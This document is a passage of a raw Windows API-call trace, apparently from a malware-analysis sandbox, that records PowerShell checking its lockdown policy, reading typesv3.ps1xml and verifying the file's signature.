[0093.185] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0093.185] WldpGetLockdownPolicy () returned 0x0 [0093.185] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.185] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0093.185] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0093.185] RegCloseKey (hKey=0x528) returned 0x0 [0093.185] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.185] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.185] CoTaskMemFree (pv=0x42c9ac0) [0093.185] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.185] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0093.185] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0093.186] WldpGetLockdownPolicy () returned 0x0 [0093.186] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.186] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0093.186] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0093.186] RegCloseKey (hKey=0x528) returned 0x0 [0093.186] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.186] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.186] CoTaskMemFree (pv=0x42c9ac0) [0093.186] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.186] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0093.186] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0093.186] WldpGetLockdownPolicy () returned 0x0 [0093.186] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.186] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0093.186] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0093.187] RegCloseKey (hKey=0x528) returned 0x0 [0093.188] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.188] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.188] CoTaskMemFree (pv=0x42c9ac0) [0093.188] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.188] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0093.188] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0093.189] WldpGetLockdownPolicy () returned 0x0 [0093.189] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.189] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0093.189] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0093.189] RegCloseKey (hKey=0x528) returned 0x0 [0093.190] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.190] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.190] CoTaskMemFree (pv=0x42c9ac0) [0093.190] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.190] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0093.190] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0093.190] WldpGetLockdownPolicy () returned 0x0 [0093.190] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.190] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0093.190] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0093.190] RegCloseKey (hKey=0x528) returned 0x0 [0093.301] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\typesv3.ps1xml", nBufferLength=0x105, lpBuffer=0x427ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\typesv3.ps1xml", lpFilePart=0x0) returned 0x39 [0093.301] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.301] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.302] CoTaskMemFree (pv=0x42c9ac0) [0093.302] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dcc4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.302] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e1a0) returned 1 [0093.302] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e21c | out: lpFileInformation=0x427e21c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e19c) returned 1 [0093.302] WldpGetLockdownPolicy () returned 0x0 [0093.302] GetSystemInfo (in: lpSystemInfo=0x427e248 | out: lpSystemInfo=0x427e248*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.302] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e1d4 | out: phkResult=0x427e1d4*=0x528) returned 0x0 [0093.302] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e1f0, lpData=0x0, lpcbData=0x427e1ec*=0x0 | out: lpType=0x427e1f0*=0x0, lpData=0x0, lpcbData=0x427e1ec*=0x0) returned 0x2 [0093.302] RegCloseKey (hKey=0x528) returned 0x0 [0093.302] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\typesv3.ps1xml", nBufferLength=0x105, lpBuffer=0x427dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\typesv3.ps1xml", lpFilePart=0x0) returned 0x39 [0093.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e1d4) returned 1 [0093.302] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\typesv3.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\typesv3.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x528 [0093.302] GetFileType (hFile=0x528) returned 0x1 [0093.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e1d0) returned 1 [0093.303] GetFileType (hFile=0x528) returned 0x1 [0093.303] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x0 [0093.303] ReadFile (in: hFile=0x528, lpBuffer=0x6b2a914, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x6b2a914*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0093.376] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x1000 [0093.376] ReadFile (in: hFile=0x528, lpBuffer=0x6b2a914, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x6b2a914*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0093.419] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x2000 [0093.419] ReadFile (in: hFile=0x528, lpBuffer=0x6b2a914, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x6b2a914*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0093.419] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x3000 [0093.419] ReadFile (in: hFile=0x528, lpBuffer=0x6b2a914, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x6b2a914*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0093.419] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x4000 [0093.419] ReadFile (in: hFile=0x528, lpBuffer=0x6b2a914, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x6b2a914*, lpNumberOfBytesRead=0x427e244*=0xb16, lpOverlapped=0x0) returned 1 [0093.419] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x4b16 [0093.420] ReadFile (in: hFile=0x528, lpBuffer=0x6b29fca, nNumberOfBytesToRead=0xea, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x6b29fca*, lpNumberOfBytesRead=0x427e244*=0x0, lpOverlapped=0x0) returned 1 [0093.420] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x4b16 [0093.420] ReadFile (in: hFile=0x528, lpBuffer=0x6b2a914, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x6b2a914*, lpNumberOfBytesRead=0x427e244*=0x0, lpOverlapped=0x0) returned 1 [0093.420] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.420] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.420] CoTaskMemFree (pv=0x42c9ac0) [0093.420] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dcac, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.420] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dd28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e188) returned 1 [0093.420] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e204 | out: lpFileInformation=0x427e204*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e184) returned 1 [0093.420] WldpGetLockdownPolicy () returned 0x0 [0093.420] GetSystemInfo (in: lpSystemInfo=0x427e230 | out: lpSystemInfo=0x427e230*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.421] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e1bc | out: phkResult=0x427e1bc*=0x6f0) returned 0x0 [0093.421] RegQueryValueExW (in: hKey=0x6f0, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e1d8, lpData=0x0, lpcbData=0x427e1d4*=0x0 | out: lpType=0x427e1d8*=0x0, lpData=0x0, lpcbData=0x427e1d4*=0x0) returned 0x2 [0093.421] RegCloseKey (hKey=0x6f0) returned 0x0 [0093.421] CloseHandle (hObject=0x528) returned 1 [0093.421] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\typesv3.ps1xml", nBufferLength=0x105, lpBuffer=0x427dd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\typesv3.ps1xml", lpFilePart=0x0) returned 0x39 [0093.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e1c8) returned 1 [0093.421] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\typesv3.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\typesv3.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x6b41590 | out: lpFileInformation=0x6b41590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e085af, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8e085af, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8e085af, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x4b16)) returned 1 [0093.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e1c4) returned 1 [0093.421] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\typesv3.ps1xml", nBufferLength=0x105, lpBuffer=0x427dc98, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\typesv3.ps1xml", lpFilePart=0x0) returned 0x39 [0093.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0f8) returned 1 [0093.421] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\typesv3.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\typesv3.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x427e174 | out: lpFileInformation=0x427e174*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e085af, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8e085af, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8e085af, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x4b16)) returned 1 [0093.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0f4) returned 1 [0093.421] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\typesv3.ps1xml", nBufferLength=0x105, lpBuffer=0x427dbcc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\typesv3.ps1xml", lpFilePart=0x0) returned 0x39 [0093.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0c0) returned 1 [0093.421] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\typesv3.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\typesv3.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x528 [0093.421] GetFileType (hFile=0x528) returned 0x1 [0093.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0bc) returned 1 [0093.421] GetFileType (hFile=0x528) returned 0x1 [0093.422] WTGetSignatureInfo () returned 0x0 [0093.471] CertDuplicateCertificateContext (pCertContext=0x8c43130) returned 0x8c43130 [0093.471] CoTaskMemAlloc (cb=0x10) returned 0x8c882c0 [0093.471] CoTaskMemAlloc (cb=0x30) returned 0x8bf6de8 [0093.472] WinVerifyTrust () returned 0x0 [0093.472] CoTaskMemFree (pv=0x8bf6de8) [0093.472] CoTaskMemFree (pv=0x8c882c0) [0093.472] CertFreeCertificateContext (pCertContext=0x8c43130) returned 1 [0093.472] CloseHandle (hObject=0x528) returned 1 [0093.516] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.516] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.518] CoTaskMemFree (pv=0x42c9ac0) [0093.518] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.518] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0093.518] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0093.518] WldpGetLockdownPolicy () returned 0x0 [0093.518] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.518] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0093.519] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0093.519] RegCloseKey (hKey=0x528) returned 0x0 [0093.519] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.519] GetSystemDirectoryW (in: 